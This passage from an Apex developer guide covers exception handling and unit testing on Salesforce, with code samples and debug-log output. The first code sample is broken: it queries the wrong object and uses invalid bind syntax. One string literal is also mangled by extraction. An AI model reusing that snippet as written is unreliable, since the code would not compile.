This example results in an SObjectException in the try block, which is caught in the catch block. The example queries
an invoice statement and selects only its Name field. It then attempts to get the Description__c field on the queried
sObject, which isn’t available because it isn’t in the list of fields queried in the SELECT statement. This results in an
SObjectException. This exception is caught in our catch block and this is what you’ll see in the debug log: The
following exception has occurred: SObject row was retrieved via SOQL without querying
the requested field: Invoice_Statement__c.Description__c.
try {
Invoice_Statement__c inv = new Invoice_Statement__c(
Description__c='New Invoice');
insert inv;
// Query the invoice we just inserted
Invoice_Statement__c v = [SELECT Name FROM Merchandise__c WHERE Id=:inv:Id];
// Causes an SObjectException because we didn't retrieve
// the Description__c field.
String s = v.Description__c;
} catch(SObjectException se) {
System.debug('The following exception has occurred: ' + se.getMessage());
}

347
Debugging Apex

Built-In Exceptions and Common Methods

Common Exception Methods
You can use common exception methods to get more information about an exception, such as the exception error message or
the stack trace. The previous example calls the getMessage method, which returns the error message associated with the
exception. There are other exception methods that are also available. Here are descriptions of some useful methods:
•
•
•
•
•

getCause: Returns the cause of the exception as an exception object.
getLineNumber: Returns the line number from where the exception was thrown.
getMessage: Returns the error message that displays for the user.
getStackTraceString: Returns the stack trace as a string.
getTypeName: Returns the type of exception, such as DmlException, ListException, MathException, and so on.

Example
To find out what some of the common methods return, try running this example.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
System.debug('Exception type caught: ' + e.getTypeName());
System.debug('Message: ' + e.getMessage());
System.debug('Cause: ' + e.getCause());
// returns null
System.debug('Line number: ' + e.getLineNumber());
System.debug('Stack trace: ' + e.getStackTraceString());
}

The output of all System.debug statements looks like the following:
17:38:04:149 USER_DEBUG [7]|DEBUG|Exception type caught: System.SObjectException
17:38:04:149 USER_DEBUG [8]|DEBUG|Message: SObject row was retrieved via SOQL without
querying the requested field: Merchandise__c.Total_Inventory__c
17:38:04:150 USER_DEBUG [9]|DEBUG|Cause: null
17:38:04:150 USER_DEBUG [10]|DEBUG|Line number: 5
17:38:04:150 USER_DEBUG [11]|DEBUG|Stack trace: AnonymousBlock: line 5, column 1

The catch statement argument type is the generic Exception type. It caught the more specific SObjectException. You can
verify that this is so by inspecting the return value of e.getTypeName() in the debug output. The output also contains other
properties of the SObjectException, like the error message, the line number where the exception occurred, and the stack trace.
You might be wondering why getCause returned null. This is because in our sample there was no previous exception (inner
exception) that caused this exception. In Creating Custom Exceptions, you’ll get to see an example where the return value of
getCause is an actual exception.
More Exception Methods
Some exception types, such as DmlException, have specific exception methods that apply to only them and aren’t common
to other exception types:
•

getDmlFieldNames(Index of the failed record): Returns the names of the fields that caused the error for the

specified failed record.
•

getDmlId(Index of the failed record): Returns the ID of the failed record that caused the error for the specified

failed record.
•
•

getDmlMessage(Index of the failed record): Returns the error message for the specified failed record.
getNumDml: Returns the number of failed records.

Example

348
Debugging Apex

Catching Different Exception Types

This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting
a list of Merchandise objects. The list of items to insert contains three items, the last two of which don’t have required fields
and cause exceptions.
Merchandise__c m1 = new Merchandise__c(
Name='Coffeemaker',
Description__c='Kitchenware',
Price__c=25,
Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
Name='Coffeemaker B',
Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);
try {
insert mList;
} catch (DmlException de) {
Integer numErrors = de.getNumDml();
System.debug('getNumDml=' + numErrors);
for(Integer i=0;i<numErrors;i++) {
System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
System.debug('getDmlMessage=' + de.getDmlMessage(i));
}
}

Note how the sample above didn’t include all the initial code in the try block. Only the portion of the code that could generate
an exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the
input data is not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After
executing this sample, you’ll see an output of System.debug statements similar to the following:
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price, Total
Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Description,
Price, Total Inventory]

The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that
caused the failure, and the error message for each failed record is written to the output.

Catching Different Exception Types
In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic
Exception type in all examples, which catches all exception types. For example, try running this example that throws an
SObjectException and has a catch statement with an argument type of Exception. The SObjectException gets caught in the
catch block.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(Exception e) {

349
Debugging Apex

Creating Custom Exceptions

System.debug('The following exception has occurred: ' + e.getMessage());
}

Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches
the generic Exception type. Look at this example. Notice that it has three catch blocks.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}

Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous
one, except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line:
Double inventory = m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match
between the thrown exception and the exception type specified in the catch block argument:
1. The first catch block argument is of type DmlException, which doesn’t match the thrown exception (SObjectException.)
2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed
and the following message is written to the debug log: SObjectException caught: SObject row was retrieved
via SOQL without querying the requested field: Merchandise__c.Total_Inventory__c.
3. The last catch block is ignored since one catch block has already executed.
The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the
previous catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets
caught in the last catch block. Execute this modified example. You’ll see the following debug message: Exception caught:
Attempt to de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}

Creating Custom Exceptions
You can’t throw built-in Apex exceptions but can only catch them. With custom exceptions, you can throw and catch them
in your methods. Custom exceptions enable you to specify detailed error messages and have more custom error handling in
your catch blocks.
Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement
interfaces, and so on.
To create your custom exception class, extend the built-in Exception class and make sure your class name ends with the
word Exception, such as “MyException” or “PurchaseException”. All exception classes extend the system-defined base class
Exception, and therefore, inherits all common Exception methods.

350
Debugging Apex

Creating Custom Exceptions

This example defines a custom exception called MyException.
public class MyException extends Exception {}

Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this
inheritance tree. For example:
public class BaseException extends Exception {}
public class OtherException extends BaseException {}
try {
Integer i;
// Your code here
if (i < 5) throw new OtherException('This is bad');
} catch (BaseException e) {
// This catches the OtherException
}

Here are some ways you can create your exceptions objects, which you can then throw.
You can construct exceptions:
•

With no arguments:
new MyException();

•

With a single String argument that specifies the error message:
new MyException('This is bad');

•

With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);

•

With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);

Rethrowing Exceptions and Inner Exceptions
After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if
your method is called by another method and you want to delegate the handling of the exception to the caller method. You
can rethrow the caught exception as an inner exception in your custom exception and have the main method catch your custom
exception type.
The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions,
My1Exception and My2Exception, and generates a stack trace with information about both.
// Define two custom exceptions
public class My1Exception extends Exception {}
public class My2Exception extends Exception {}
try {
// Throw first exception
throw new My1Exception('First exception');
} catch (My1Exception e) {
// Throw second exception with the first
// exception variable as the inner exception

351
Debugging Apex

Creating Custom Exceptions

throw new My2Exception('Thrown with inner exception', e);
}

This is how the stack trace looks like resulting from running the code above:
15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
15:52:21:000 FATAL_ERROR Caused by
15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1
The example in the next section shows how to handle an exception with an inner exception by calling the getCause method.
Inner Exception Example
Now that you’ve seen how to create a custom exception class and how to construct your exception objects, let’s create and run
an example that demonstrates the usefulness of custom exceptions.
1. In the Developer Console, create a class named MerchandiseException and add the following to it:
public class MerchandiseException extends Exception {}

You’ll use this exception class in the second class that you’ll create. Note that the curly braces at the end enclose the body
of your exception class, which we left empty because we get some free code—our class inherits all the constructors and
common exception methods, such as getMessage, from the built-in Exception class.
2. Next, create a second class named MerchandiseUtility.
public class MerchandiseUtility {
public static void mainProcessing() {
try {
insertMerchandise();
} catch(MerchandiseException me) {
System.debug('Message: ' + me.getMessage());
System.debug('Cause: ' + me.getCause());
System.debug('Line number: ' + me.getLineNumber());
System.debug('Stack trace: ' + me.getStackTraceString());
}
}
public static void insertMerchandise() {
try {
// Insert merchandise without required fields
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
// Something happened that prevents the insertion
// of Employee custom objects, so throw a more
// specific exception.
throw new MerchandiseException(
'Merchandise item could not be inserted.', e);
}
}
}

This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by
inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the
custom MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two
arguments: the error message, and the original exception object. You might wonder why we are passing the original
exception? Because it is useful information—when the MerchandiseException gets caught in the first method,
352
Debugging Apex

Creating Custom Exceptions

mainProcessing, the original exception (referred to as an inner exception) is really the cause of this exception because

it occurred before the MerchandiseException.
3. Now let’s see all this in action to understand better. Execute the following:
MerchandiseUtility.mainProcessing();

4. Check the debug log output. You should see something similar to the following:
18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1

A few items of interest:
•
•

The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states
that required fields were missing.
The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of
MerchandiseException.
throw new MerchandiseException('Merchandise item could not be inserted.', e);

353
Chapter 13
Testing Apex
In this chapter ...
•
•
•
•
•
•
•

Understanding Testing in Apex
What to Test in Apex
What are Apex Unit Tests?
Understanding Test Data
Running Unit Test Methods
Testing Best Practices
Testing Example

Apex provides a testing framework that allows you to write unit tests, run your
tests, check test results, and have code coverage results.
This chapter provides covers unit tests, data visibility for tests, as well as the
tools that are available on the Force.com platform for testing Apex. Testing
best practices and a testing example are also provided.

354
Testing Apex

Understanding Testing in Apex

Understanding Testing in Apex
Testing is the key to successful long-term development and is a critical component of the development process. We strongly
recommend that you use a test-driven development process, that is, test development that occurs at the same time as code
development.

Why Test Apex?
Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate
that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more.
There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing
through the user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality:
up to 200 records can be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller.
An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you
have written comprehensive tests, you can ensure that a regression is not introduced with any new functionality.
Before you can deploy your code or package it for the Force.com AppExchange, the following must be true.
•

At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
◊
◊
◊
◊

•
•

When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.

Every trigger must have some test coverage.
All classes and triggers must compile successfully.

Salesforce runs all tests in all organizations that have Apex code to verify that no behavior has been altered as a result of any
service upgrades.

What to Test in Apex
Salesforce.com recommends that you write tests for the following:
Single action
Test to verify that a single record produces the correct, expected result.
Bulk actions
Any Apex code, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only
the single record case, but the bulk cases as well.
Positive behavior
Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out
everything correctly and did not go past the limits.

355
Testing Apex

What are Apex Unit Tests?

Negative behavior
There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative
amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well
as for the positive, within the limits cases.
Restricted user
Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether
they can run the code or receive error messages.
Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches
are executed.
For examples of these types of tests, see Testing Example on page 371.

What are Apex Unit Tests?
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the
method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest.
For example:
@isTest
private class myClass {
static testMethod void myTest() {
// code_block
}
}

This is the same test class as in the previous example but it defines the test method with the isTest annotation instead.
@isTest
private class myClass {
@isTest static void myTest() {
// code_block
}
}

Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex
code.
This is an example of a test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code

356
Testing Apex

What are Apex Unit Tests?

}
}

Classes and methods defined as isTest can be either private or public. The access level of test classes methods doesn’t
matter. This means you don’t need to add an access modifier when defining a test class or test methods. The default access
level in Apex is private. The testing framework can always find the test methods and execute them, regardless of their access
level.
Classes defined as isTest must be top-level classes and can't be interfaces or enums.
Methods of a test class can only be called from a running test, that is, a test method or code invoked by a test method, and
can't be called by a non-test request.
This example shows a class and its corresponding test class. This is the class to be tested. It contains two methods and a
constructor.
public class TVRemoteControl {
// Volume to be modified
Integer volume;
// Constant for maximum volume value
static final Integer MAX_VOLUME = 50;
// Constructor
public TVRemoteControl(Integer v) {
// Set initial value for volume
volume = v;
}
public Integer increaseVolume(Integer amount) {
volume += amount;
if (volume > MAX_VOLUME) {
volume = MAX_VOLUME;
}
return volume;
}
public Integer decreaseVolume(Integer amount) {
volume -= amount;
if (volume < 0) {
volume = 0;
}
return volume;
}
public static String getMenuOptions() {
return 'AUDIO SETTINGS - VIDEO SETTINGS';
}
}

This is the corresponding test class. It contains four test methods. Each method in the previous class is called. Although this
would have been enough for test coverage, the test methods in the test class perform additional testing to verify boundary
conditions.
@isTest
class TVRemoteControlTest {
@isTest static void testVolumeIncrease() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(15);
System.assertEquals(25, newVolume);
}
@isTest static void testVolumeDecrease() {
TVRemoteControl rc = new TVRemoteControl(20);

357
Testing Apex

Accessing Private Test Class Members

Integer newVolume = rc.decreaseVolume(15);
System.assertEquals(5, newVolume);
}
@isTest static void testVolumeIncreaseOverMax() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(100);
System.assertEquals(50, newVolume);
}
@isTest static void testVolumeDecreaseUnderMin() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.decreaseVolume(100);
System.assertEquals(0, newVolume);
}
@isTest static void testGetMenuOptions() {
// Static method call. No need to create a class instance.
String menu = TVRemoteControl.getMenuOptions();
System.assertNotEquals(null, menu);
System.assertNotEquals('', menu);
}
}

Unit Test Considerations
Here are some things to note about unit tests.
•

•
•
•
•

•

Starting with Salesforce.com API 28.0, test methods can no longer reside in non-test classes and must be part of classes
annotated with isTest. See the TestVisible annotation to learn how you can access private class members from a test
class.
Test methods can’t be used to test Web service callouts. Instead, use mock callouts. See Testing Web Service Callouts and
Testing HTTP Callouts.
You can’t send email messages from a test method.
Since test methods don’t commit data created in the test, you don’t have to delete test data upon completion.
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For
example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup
records must have unique names.
Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify
the associated record. FeedTrackedChange records require the change to the parent record they're associated with to be
committed to the database before they're created. Since test methods don't commit data, they don't result in the creation
of FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test
methods because they require other sObject records to be committed first (for example, Account).

See Also:
IsTest Annotation

Accessing Private Test Class Members
Test methods are defined in a test class, separate from the class they test. This can present a problem when having to access
a private class member variable from the test method, or when calling a private method. Because these are private, they aren’t
visible to the test class. You can either modify the code in your class to expose public methods that will make use of these
private class members, or you can simply annotate these private class members with TestVisible. When you annotate private
or protected members with this annotation, they can be accessed by test methods and only code running in test context.

358
Testing Apex

Accessing Private Test Class Members

This example shows how TestVisible is used with private member variables, a private inner class with a constructor, a
private method, and a private custom exception. All these can be accessed in the test class because they’re annotated with
TestVisible. The class is listed first and is followed by a test class containing the test methods.
public class VisibleSampleClass {
// Private member variables
@TestVisible private Integer recordNumber = 0;
@TestVisible private String areaCode = '(415)';
// Public member variable
public Integer maxRecords = 1000;
// Private inner class
@TestVisible class Employee {
String fullName;
String phone;
// Constructor
@TestVisible Employee(String s, String ph) {
fullName = s;
phone = ph;
}
}
// Private method
@TestVisible private String privateMethod(Employee e) {
System.debug('I am private.');
recordNumber++;
String phone = areaCode + ' ' + e.phone;
String s = e.fullName + ''s phone number is ' + phone;
System.debug(s);
return s;
}
// Public method
public void publicMethod() {
maxRecords++;
System.debug('I am public.');
}
// Private custom exception class
@TestVisible private class MyException extends Exception {}
}
// Test class for VisibleSampleClass
@isTest
private class VisibleSampleClassTest {
// This test method can access private members of another class
// that are annotated with @TestVisible.
static testmethod void test1() {
VisibleSampleClass sample = new VisibleSampleClass ();
// Access private data members and update their values
sample.recordNumber = 100;
sample.areaCode = '(510)';
// Access private inner class
VisibleSampleClass.Employee emp =
new VisibleSampleClass.Employee('Joe Smith', '555-1212');
// Call private method
String s = sample.privateMethod(emp);
// Verify result
System.assert(
s.contains('(510)') &&
s.contains('Joe Smith') &&
s.contains('555-1212'));

359
Testing Apex

Understanding Test Data

}
// This test method can throw private exception defined in another class
static testmethod void test2() {
// Throw private exception.
try {
throw new VisibleSampleClass.MyException('Thrown from a test.');
} catch(VisibleSampleClass.MyException e) {
// Handle exception
}
}
static testmethod void test3() {
// Access public method.
// No @TestVisible is used.
VisibleSampleClass sample = new VisibleSampleClass ();
sample.publicMethod();
}
}

The TestVisible annotation can be handy when you upgrade the Salesforce.com API version of existing classes containing
mixed test and non-test code. Because test methods aren’t allowed in non-test classes starting in API version 28.0, you must
move the test methods from the old class into a new test class (a class annotated with isTest) when you upgrade the API
version of your class. You might run into visibility issues when accessing private methods or member variables of the original
class. In this case, just annotate these private members with TestVisible.

Understanding Test Data
Apex test data is transient and isn’t committed to the database.
This means that after a test method finishes execution, the data inserted by the test doesn’t persist in the database. As a result,
there is no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates
or deletions, don’t persist. This transient behavior of test data makes the management of data easier as you don’t have to
perform any test data cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or
modifications to existing records.
By default, existing organization data isn’t visible to test methods, with the exception of certain setup objects. You should
create test data for your test methods whenever possible. However, test code saved against Salesforce.com API version 23.0
or earlier has access to all data in the organization. Data visibility for tests is covered in more detail in the next section.

Isolation of Test Data from Organization Data in Unit Tests
Starting with Apex code saved using Salesforce.com API version 24.0 and later, test methods don’t have access by default to
pre-existing data in the organization, such as standard objects, custom objects, and custom settings data, and can only access
data that they create. However, objects that are used to manage your organization or metadata objects can still be accessed in
your tests such as:
•
•
•
•
•
•
•
•

User
Profile
Organization
AsyncApexJob
CronTrigger
RecordType
ApexClass
ApexTrigger

360
Testing Apex

•
•

Using the isTest(SeeAllData=true) Annotation

ApexComponent
ApexPage

Whenever possible, you should create test data for each test. You can disable this restriction by annotating your test class or
test method with the IsTest(SeeAllData=true) annotation.
Test code saved using Salesforce.com API version 23.0 or earlier continues to have access to all data in the organization and
its data access is unchanged.
Data Access Considerations
•

•
•

•

•

If a new test method saved using Salesforce.com API version 24.0 or later calls a method in another class saved using
version 23.0 or earlier, the data access restrictions of the caller are enforced in the called method; that is, the called
method won’t have access to organization data because the caller doesn’t, even though it was saved in an earlier
version.
This access restriction to test data applies to all code running in test context. For example, if a test method causes a
trigger to execute and the test can’t access organization data, the trigger won’t be able to either.
If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread, so test data
isolation is no longer enforced. In this case, the test will be able to access all data in the organization after initiating
the Visualforce request. However, if the Visualforce request performs a callback, such as a JavaScript remoting call,
any data inserted by the callback won't be visible to the test.
For Apex saved using Salesforce.com API version 27.0 and earlier, the VLOOKUP validation rule function always
looks up data in the organization, in addition to test data, when fired by a running Apex test. Starting with version
28.0, the VLOOKUP validation rule function no longer accesses organization data from a running Apex test and
looks up only data created by the test, unless the test class or method is annotated with IsTest(SeeAllData=true).
There might be some cases where you can’t create certain types of data from your test method because of specific
limitations. Here are some examples of such limitations.
◊ Inserting a pricebook entry for a product isn’t feasible from a test since the standard pricebook isn’t accessible
and can’t be created in a running test. Also, inserting a pricebook entry for a custom pricebook isn’t supported
since this requires defining a standard pricebook. For such situations, annotate your test method with
IsTest(SeeAllData=true) so that your test can access organization data.
◊ Some standard objects aren’t createable. For more information on these objects, see the Object Reference for Salesforce
and Force.com.
◊ For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error.
For example, inserting CollaborationGroup sObjects with the same names results in an error because
CollaborationGroup records must have unique names. This happens whether or not your test is annotated with
IsTest(SeeAllData=true).
◊ Records that are created only after related records are committed to the database, like tracked changes in Chatter.
Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods
modify the associated record. FeedTrackedChange records require the change to the parent record they're associated
with to be committed to the database before they're created. Since test methods don't commit data, they don't
result in the creation of FeedTrackedChange records. Similarly, field history tracking records (such as
AccountHistory) can't be created in test methods because they require other sObject records to be committed
first (for example, Account).

Using the isTest(SeeAllData=true) Annotation
Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your
organization.

361
Testing Apex

Using the isTest(SeeAllData=true) Annotation

This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in
this class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}

This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class
that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method
to enable access to all data for that test method. The second test method doesn’t have this annotation, so it can access only
the data it creates in addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}

362
Testing Apex

Loading Test Data

Considerations for the IsTest(SeeAllData=true) Annotation
•
•

If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test
methods whether the test methods are defined with the @isTest annotation or the testmethod keyword.
The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method
level. However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that
method if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this
case, the method will still have access to all the data in the organization.

Loading Test Data
Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code.
Simply, add the data in a .csv file, create a static resource for this file, and then call Test.loadData within your test method
by passing it the sObject type token and the static resource name. For example, for Account records and a static resource name
of myResource, make the following call:
List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource');

The Test.loadData method returns a list of sObjects that correspond to each record inserted.
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a
.csv extension. The file contains field names and values for the test records. The first line of the file must contain the field
names and subsequent lines are the field values. To learn more about static resources, see “Defining Static Resources” in the
Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types
are:
•
•
•
•

text/csv
application/vnd.ms-excel
application/octet-stream
text/plain

Test.loadData Example

The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test
records.
1. Create a .csv file that has the data for the test records. This is a sample .csv file with three account records. You can use
this sample content to create your .csv file.
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
Francisco,CA,94105,US
sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San Francisco,CA,94105,US

2. Create a static resource for the .csv file:
a.
b.
c.
d.

Click Develop > Static Resources, and then New Static Resource.
Name your static resource testAccounts.
Choose the file you just created.
Click Save.

363
Testing Apex

Common Test Utility Classes for Test Data Creation

3. Call Test.loadData in a test method to populate the test accounts.
@isTest
private class DataUtil {
static testmethod void testLoadData() {
// Load the test accounts from the static resource
List<sObject> ls = Test.loadData(Account.sObjectType, 'testAccounts');
// Verify that all 3 test accounts were created
System.assert(ls.size() == 3);
// Get first test account
Account a1 = (Account)ls[0];
String acctName = a1.Name;
System.debug(acctName);
// Perform some testing using the test records
}
}

Common Test Utility Classes for Test Data Creation
Common test utility classes are public test classes that contain reusable code for test data creation.
Public test utility classes are defined with the isTest annotation, and as such, are excluded from the organization code size
limit and execute in test context. They can be called by test methods but not by non-test code.
The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters
and can return a value. The methods should be declared as public or global to be visible to other test classes. These common
methods can be called by any test method in your Apex classes to set up test data before running the test. While you can create
public methods for test data creation in a regular Apex class, without the isTest annotation, you don’t get the benefit of
excluding this code from the organization code size limit.
This is an example of a test utility class. It contains one method, createTestRecords, which accepts the number of accounts
to create and the number of contacts per account. The next example shows a test method that calls this method to create some
data.
@isTest
public class TestDataFactory {
public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) {
List<Account> accts = new List<Account>();
for(Integer i=0;i<numAccts;i++) {
Account a = new Account(Name='TestAccount' + i);
accts.add(a);
}
insert accts;
for (Integer j=0;j<numAccts;j++) {
Account acct = accts[j];
List<Contact> cons = new List<Contact>();
// For each account just inserted, add contacts
for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) {
cons.add(new Contact(firstname='Test'+k,lastname='Test'+k,AccountId=acct.Id));
}
insert cons;
}
}
}

364
Testing Apex

Running Unit Test Methods

The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three
contacts each.
@isTest
private class MyTestClass {
static testmethod void test1() {
TestDataFactory.createTestRecords(5,3);
// Run some tests
}
}

Running Unit Test Methods
You can run unit tests for:
•
•
•

A specific class
A subset of classes
All unit tests in your organization

To run a test, use any of the following:
•
•
•
•

The Salesforce user interface
The Force.com IDE
The Force.com Developer Console
The API

Running Tests Through the Salesforce User Interface
You can run unit tests on the Apex Test Execution page. Tests started on this page run asynchronously, that is, you don't have
to wait for a test class execution to finish. The Apex Test Execution page refreshes the status of a test and displays the results
after the test completes.

To use the Apex Test Execution page:
1. From Setup, click Develop > Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first
